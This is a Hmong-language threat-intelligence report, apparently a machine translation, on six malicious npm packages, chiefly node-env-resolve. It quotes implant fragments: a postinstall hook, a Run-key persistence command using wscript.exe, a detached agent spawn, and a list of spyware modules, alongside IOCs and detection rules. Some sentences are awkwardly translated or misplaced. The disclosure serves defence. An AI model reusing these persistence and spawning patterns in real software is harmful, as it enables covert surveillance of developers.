TL; DR
Nruab nrab ntawm lub Plaub Hlis 1 thiab Tsib Hlis 3, 2026, ib tus tshaj tawm npm, user0001, sau npe nrog qhov chaw nyob Gmail uas tsis tau txheeb xyuas tanvisoul9@gmail.com, maj mam thawb rau pob khoom nrog lub npe tsis zoo, zoo li cov khoom siv hauv paus: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, Thiab node-env-resolve.
Ob qho versions tshiab tshaj plaws ntawm node-env-resolve, 1.0.7 thiab 1.0.8, tau raug cim los ntawm Xygeni's Malware Early Warning (MEW) system rau lub Tsib Hlis 2 thiab tau lees paub tias yog malicious rau lub Tsib Hlis 3.
Qhov kev cog rau hauv lub cev no txawv txawv rau qhov nws tsis yog: tsis muaj Telegram bots, tsis muaj OAST callbacks, tsis muaj obfuscation, thiab tsis txhob sim mus nrhiav cov ntaub ntawv pov thawj AWS thaum lub sijhawm teeb tsa. Hloov chaw, postinstall.js cog ib qho Windows boot-persistence entry, siv HKCU Run key uas tso tawm wscript.exe tawm tsam ib qho VBS stub. Tom qab ntawd nws tsim ib tus neeg sawv cev Node.js uas cais tawm uas muab cov modules rau kev ntes microphone, kev nyiag keeb kwm browser, kev thaij duab, thiab kev sim ua nas/keyboard.
Peb hu lub pawg no ua pawg DevTap, tom qab cov khoom siv nws tawm khiav ntawm lub tshuab tsim tawm.
Tag nrho rau lub pob khoom tau nyob rau ntawm npm thaum lub sijhawm sau ntawv. Peb tau xa lawv mus rau lub npe ntawm kev tsim txom channel. Cov neeg tiv thaiv yuav tsum rub txhua qhov kev teeb tsa los ntawm tus tshaj tawm tos kev tshem tawm.
Pawg: Rau Pob Khoom, Ib Tus Neeg Tshaj Tawm
Tus account ntawm tus tshaj tawm user0001 tsis tau txheeb xyuas. Nws tsis muaj SCM kev txheeb xyuas, tsis muaj email uas khi rau hauv domain, thiab tsis muaj keeb kwm yav dhau los. Tus lej Gmail tanvisoul9 tsis tshwm sim hauv lwm cov ntaub ntawv npm tshaj tawm uas peb tuaj yeem nrhiav tau.
Tag nrho rau lub pob khoom teev tib tus neeg saib xyuas, tau tshaj tawm los ntawm tib tus account, thiab sib koom tib yam package.json daim ntawv qhia ua ntej. Tsis muaj repository, tsis muaj homepage, thiab tsis muaj description ntev dua ib kab.
Lub tswv yim rau kev muab npe yog qhov nthuav. Tsis zoo li kev sib txuas lus tsis meej pem lossis kev sib tw typosquat, tsis muaj ib lub npe twg tsom mus rau ib lub tsev qiv ntawv upstream tshwj xeeb. Hloov chaw, lawv raug kho kom ploj mus rau hauv qhov tseeb package.json or npm ls tso zis.
| pob | Ua ntej luam tawm | Tseeb Version | versions | Lub Luag Haujlwm hauv Pawg |
|---|---|---|---|---|
| centrallogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, txij li 1.0.5 txog 1.0.9 | Cluster's "logging utility" npog; luam tawm thaum ntxov tshaj plaws |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Cover DOM-helper dav dav |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Mimics node-fetch tsev neeg |
| tus neeg sawv cev txuas | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Lub npe dav dav "tus neeg sawv cev" |
| lub sijhawm khiav ntawm node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Mimics native-module build tooling |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, txij li 1.0.0 txog 1.0.9 | Cov twj tso kua dej nquag; tag nrho cov khoom cog |
Cov npe zoo li centralogger, node-fetch-lite, Thiab node-gyp-runtime raug tsim los kom zoo li tsis muaj kev sib cav hauv kev tshuaj xyuas cov lej. Lawv zoo li cov khoom uas yuav twb nyob hauv tsob ntoo vam khom ntawm ib qhov project.
Ua ke nrog tus tshaj tawm tshiab, tsis tau lees paub thiab cov kev sib txuas hauv chaw khaws ntaub ntawv uas ploj lawm, lawv tsim ib qho qauv uas paub tau: ib tus neeg ua yeeb yam tso cov npe qis qis rau hauv kev sau npe, tom qab ntawd rov ua dua sai sai rau qhov tseem ceeb. Hauv qhov no, node-env-resolve tau txais kaum daim ntawv hauv yim hnub.
Dab tsi tsaws rau ntawm Windows Dev Box
Cov saw hlau phem rau ntawm node-env-resolve:1.0.8 luv luv, ncaj qha, thiab tsis tshua muaj feature-nplua nuj rau ib qho npm RAT.
Tom qab kev teeb tsa: Kev Nyob Mus Ib Txhis thiab Tus Neeg Sawv Cev Sib Cais
package.json tshaj tawm ib qho kev teeb tsa hook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js ua peb yam raws li kev txiav txim.
Ua ntej, nws teeb tsa ib daim nplaub tshev teeb tsa sab nraum tsob ntoo npm. Txoj kev raug suav thaum lub sijhawm khiav hauv tsab ntawv sau ua INSTALL_DIRCes nws khiav ib qho sab hauv execSync('npm install --production --silent ...') sab hauv nws kom rub cov implant's runtime dependencies. Qhov no tso tus neeg sawv cev rau ntawm disk qhov twg ib phau ntawv qhia node_modules kev tshuaj xyuas yuav tsis pom.
Qhov thib ob, nws sau VBS launcher thiab sau npe rau nws rau kev ruaj khov khau raj:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe yog Windows Script Host, ib qho binary Microsoft uas tau kos npe uas khiav .vbs cov ntaub ntawv tsis muaj lub qhov rais console. Qhov ntawd yog precisVim li cas nws thiaj li nyiam rau autorun stubs.
Kuj tseem muaj qhov sib txawv reg delete txoj kev sab hauv src/index.js, qhia tias qhov kev cog rau hauv lub cev no tau tsim los kom tshem tawm tau huv si thaum tus neeg teb xov tooj hais kom ua.
Qhov thib peb, nws tsim ib qho txheej txheem menyuam yaus uas tsis sib cais:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Ob qho tseem ceeb ntawm no.
SERVER_URL raug nyeem los ntawm ib puag ncig. Yog li ntawd, C2 qhov kawg tuaj yeem teeb tsa tau rau txhua qhov kev xa tawm thiab tsis tau muab tso rau hauv pob khoom. Qhov kev xaiv me me tab sis txhob txwm ua yeej feem ntau ntawm cov static-IOC sweeps.
Tsis tas li ntawd, tus menyuam yug los tau txais tag nrho cov niam txiv ib puag ncig. Yog li ntawd, txhua yam NPM_TOKEN, AWS_*, GITHUB_TOKEN, lossis SSH-agent socket uas muaj nyob rau hauv lub plhaub tsim tawm thaum nruab lub sijhawm mus rau hauv lub cim xeeb ntawm tus neeg sawv cev uas muaj sia nyob ntev.
Tus Neeg Sawv Cev Xa Khoom Nrog Dab Tsi
Cov pob khoom src/ tsob ntoo muaj peb lub modules uas lawv cov npe ib leeg qhia zaj dab neeg: audioCapture.js, browserHistory.js, Thiab systemInfo.js.
Daim ntawv teev npe ntawm lub sijhawm khiav, daws teeb meem thaum lub sijhawm staged npm install, ua pov thawj rau lawv.
Txoj kev no hloov qhov xwm txheej tsis sib haum xeeb mus rau hauv kev teb tswj hwm.
Es tsis txhob ua qhov muag tsis pom kev, cov pab pawg ua haujlwm nrog kev txiav txim siab ua ntej thiab kev kho sai.
| quav | Nws yog rau dab tsi hauv qhov xwm txheej no |
|---|---|
| screenshot-desktop | Kev ntes duab ntawm qhov screen txhua lub sijhawm |
| @nut-tree-fork/nut-js | Kev ua haujlwm ntawm nas thiab keyboard / kev sim ua kom nkag mus tau yooj yim |
| zoo dua-sqlite3 | Nyeem ncaj qha ntawm Chrome, Edge, thiab Firefox History SQLite databases |
| adm-zip | Kev muab cov khoom qub uas tau sau ua ke ua ntej kev rho tawm |
| Ntse | Kev hloov kho / compressing cov screenshots thiab cov duab artefacts |
| socket.io-client | C2 channel uas nyob mus ib txhis |
| tus lej cim tshuab node | Ruaj khov per-host fingerprint rau kev taug qab tus neeg raug tsim txom |
systemInfo.js Hu os.networkInterfaces() rau kev ntaus ntiv tes ntxiv ua ntej lub teeb liab thawj zaug.
Vim li cas Lub Suab Capture yog Lub Cim Standout
Feem ntau npm RATs uas peb triage hauv MEW nres thaum lub sijhawm teeb tsa zais cia. Lawv nyeem ~/.npmrc, nyeem ~/.aws/credentials, khawb process.env, POST rau lub webhook, thiab tawm. Qhov ntawd haum rau tus qauv kev lag luam smash-and-grab. Cov ntaub ntawv pov thawj muaj lub sijhawm luv luv, thiab tus neeg tawm tsam yuav tsum tau nyiaj sai sai.
node-env-resolve yog txawv ntawm cov duab.
Qhov kev ua siab ntev tau teeb tsa kom muaj sia nyob reboot. Tus neeg sawv cev khiav tawm thiab nyob ntev hauv qab wscript.exeCov khoom siv uas nws nqa yog rau kev nyob ntawd ntawm lub tshuab tsim tawm, tsis yog rau kev tuav thiab tawm mus: lub microphone recorder, lub keyboard/mouse driver, tag nrho cov browser-history ingest, screen capture, thiab ib qho interactive Socket.IO channel rov qab mus rau C2 configurable.
Qhov tshwj xeeb tshaj yog kev ntes lub microphone yog kab uas qhov kev sib tw no hla uas feem ntau npm malware tsis hla.
Ib lub chaw ua haujlwm rau cov neeg tsim khoom, zuj zus tuaj, kuj yog lub chaw ua haujlwm uas cov neeg tsim khoom sawv ntsug, hu xov tooj rau cov neeg siv khoom, sib tham txog kev tsim qauv, thiab sib txuas lus. Lub cuab yeej uas kaw cov microphone tsis yog tom qab tus tsim khoom lub npm token. Nws yog tom qab qhov tus tsim khoom hais nyob rau pem hauv ntej ntawm lub laptop.
Qhov peev xwm ntawd, ntxiv rau qhov tsis muaj kev zais cia thiab tsis muaj kev rho tawm lub sijhawm teeb tsa flashy, nyeem ua qhov chaw ua ntej rau kev nkag mus rau lub hom phiaj es tsis yog kev nyiag daim ntawv pov thawj.
Peb tsis tau hais tias qhov no yog qhov ua rau muaj qhov teeb meem no xwb. Peb tab tom sau tseg qhov profile ua haujlwm.
Lub sijhawm ua dua yim hnub ntawm node-env-resolve yog qhov qhia txog kev ua haujlwm tshaj plaws hauv lub sijhawm.
Qhov no tsis yog ib qho kev poob hluav taws thiab tsis nco qab. Tus tshaj tawm tseem niaj hnub tswj hwm lub dropper, uas feem ntau txhais tau tias yog ib qho ntawm ob yam. Yog tias lawv tab tom kho nws tawm tsam qhov chaw sim ua ntej kev xa tawm dav dua, lossis lawv twb muaj kev teeb tsa telemetry rov qab los thiab tab tom teb rau nws.
Tsib pob khoom ntxiv tsis pom muaj kev hloov pauv tom qab lawv thawj zaug luam tawm. Qhov ntawd haum rau tus qauv "theem ib zaug, tawm mus hu ua" rau pawg txhawb nqa thaum kev siv zog engineering tsom mus rau pob khoom uas ua haujlwm.
Kev Sau Npe: Cov Lus Qhia Me Me, Tsis Muaj Kev Txiav Txim Siab Ruaj Khov
Public OSINT Cov teeb liab nyias nyias, thiab peb yuav tsis ncab lawv. Dab tsi pom tau:
Tus lej Gmail tanvisoul9 ib feem zoo li lub npe hu ua "Tanvi" uas yog ib lub npe hu ua South Asian. Qhov no yog ib qho cim qhia tsis muaj zog. Cov tes hauj lwm Gmail tsis yog tus kheej, thiab cov lus qhia tom qab soul9 yog dav dav. Nws tsis muaj kev nyab xeeb los xav txog thaj chaw los ntawm email ib leeg xwb.
Cov qauv code tsis zoo li Node.js: standard kev hu xov tooj rau tsev qiv ntawv xws li os, child_process, spawn, Thiab reg add. Tsis muaj kev ua kom tsis meej pem, tsis muaj kev tig txoj hlua, thiab tsis muaj kev xav tiv thaiv kev debug. Tus sau ntawv xis nyob nrog Windows registry primitives thiab detached-child-process orchestration, tab sis zoo li tsis ncav cuag rau cov khoom siv stealthier uas lawv tuaj yeem siv tau.
Cov kev vam khom yog tawm ntawm lub txee thiab paub zoo: screenshot-desktop, nut-js, better-sqlite3, Thiab socket.io-clientTsis muaj cov txheej txheem kev cai, tsis muaj cov khoom sib dhos C2 uas dov los ntawm kos, thiab tsis muaj lub tswv yim tshiab uas ua rau muaj kev ua siab ntev dhau ntawm phau ntawv kawm. HKCU Khiav qhov tseem ceebQhov no yog ib tus neeg sib koom ua ke uas muaj peev xwm, tsis yog tus sau cov cuab yeej.
Peb tsis tau pom cov hlua uas tsis yog lus Askiv, cov lus tawm tswv yim uas muab tso rau hauv, cov ntaub ntawv hauv zos, lossis cov cim ntiv tes ntawm lub sijhawm tso tawm ntawm cov khoom siv hauv cov khoom siv uas tau luam tawm.
Peb tau kuaj xyuas seb puas muaj cov lej sib tshooj nrog cov phiaj xwm ua ntej uas peb twb taug qab lawm, suav nrog Shai-Hulud, Owlivion, Buildkite, thiab tsis ntev los no heibai / claude-code-best Tsev neeg Anthropic-CLI clone. Peb tsis pom ib qho li: tsis muaj cov qauv C2 sib koom, tsis muaj cov qauv ntaub ntawv sib koom, thiab tsis muaj cov lus piv txwv sib koom.
Peb yuav tsis hais li cas: qhov no yog ib tus neeg ua yeeb yam hauv xeev, ib pawg neeg paub, lossis muaj feem cuam tshuam nrog ib lub tebchaws twg.
Cov ntaub ntawv ua haujlwm zoo ib yam li ib pab neeg me me, muaj kev txawj ntse nruab nrab ua haujlwm saib xyuas cov neeg tsim khoom-chaw ua haujlwm. Nws yuav muaj kev txhawb nqa nyiaj txiag los ntawm kev siv qhov nkag mus rau tom qab, tab sis tej zaum kuj tseem muaj kev tshuaj xyuas-ua-kev pabcuam rau tus neeg yuav khoom sib cais.
Ob lub ntsiab lus tsis ncaj qha txhawb nqa uas nyeem: kev zam ntawm cov txheej txheem exfiltration uas yuav hlawv lub cluster sai, xws li Telegram bots, oastify.com, lossis canarytokens, thiab cov npe pob khoom tsis zoo, uas nyiam cov kev teeb tsa ntev ntev ntsiag to hla lub sijhawm luv luv.
Cov Cim Qhia Txog Kev Ua Phem Thiab Kev Tshawb Pom
| Cov pob khoom thiab tus tshaj tawm | |
|---|---|
| teb | Tus nqi |
| npm publisher | user0001 |
| Tus tshaj tawm email | tanvisoul9@gmail.com, tsis tau lees paub |
| Tej pob khoom | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Pom tseeb tias muaj kev phem | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Cov Khoom Siv Los Ntawm Tus Tswv Tsev | |
|---|---|
| hom | Tus nqi |
| Tus yuam sij rau kev ua siab ntev | HKCU\Software\Microsoft\Windows\CurrentVersion\Khiav |
| Tus nqi ntawm kev nyob ruaj khov | Lub npe hloov pauv; cov ntaub ntawv ntawm daim ntawv wscript.exe " \ ".vbs" |
| Nruab qhov nuv | postinstall: node postinstall.js nyob rau hauv lub pob khoom manifest |
| Cov modules cog rau hauv lub cev | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Cov npe ntawm kev teeb tsa | INSTALL_DIR tau daws teeb meem sab nraum qhov project node_modules; qhov chaw teeb tsa los ntawm postinstall.js thaum lub sijhawm teeb tsa |
| network | |
|---|---|
| hom | Tus nqi |
| C2 kev thauj mus los | socket.io-client, persistent bidirectional channel |
| C2 qhov kawg | Muab rau tus neeg sawv cev los ntawm SERVER_URL ib puag ncig hloov pauv; tsis tau nyuaj-coded rau hauv cov khoom cuav luam tawm |
Cov Lus Cim Txog Kev Tshawb Pom
Ob txoj cai ntes tsev neeg no yam tsis tas yuav muaj C2 endpoint.
Ua ntej, cim cov ntawv sau tom qab kev teeb tsa uas ua haujlwm sab hauv npm install mus rau hauv txoj kev sab nraum lub pob ntawv tus kheej. Txhua tus neeg rub tawm ua ntej raug cai, xws li node-gyp rov tsim dua lossis cov downloaders binary uas tau teeb tsa ua ntej, sau sab hauv pob lossis rau hauv platform-standard cov kev khaws cia nrog cov hash uas tau txheeb xyuas lawm. Nws tsis sau rau hauv ib qho tshiab uas tau tsim INSTALL_DIR lwm yam hauv disk.
Qhov thib ob, cim cov ntawv sau tom qab kev teeb tsa uas muaj teeb meem reg add HKCU\…\Run nrog wscript.exe ua tus launcher. Qhov no yeej tsis raug cai los ntawm pob npm. Chij thiab cais nws.
Ib qho heuristic thib peb yog qhov muaj txiaj ntsig zoo rau kev pom cov pob khoom sibling tom ntej ua ntej nws raug lees paub: tus tshaj tawm npm tshiab uas tsis muaj SCM kev txheeb xyuas, email Gmail, tsis muaj repository daim teb, thiab ntau lub npe pob khoom luv luv, dav dav, zoo li cov khoom siv hauv paus uas luam tawm tsis pub dhau ob peb hnub ntawm ib leeg, los ntawm nws tus kheej, txaus kom lees paub kev tshuaj xyuas phau ntawv.
Tau tshaj tawm rau npm registry. Peb yuav hloov kho qhov kev tshaj tawm no thaum tus account publisher raug tshem tawm.
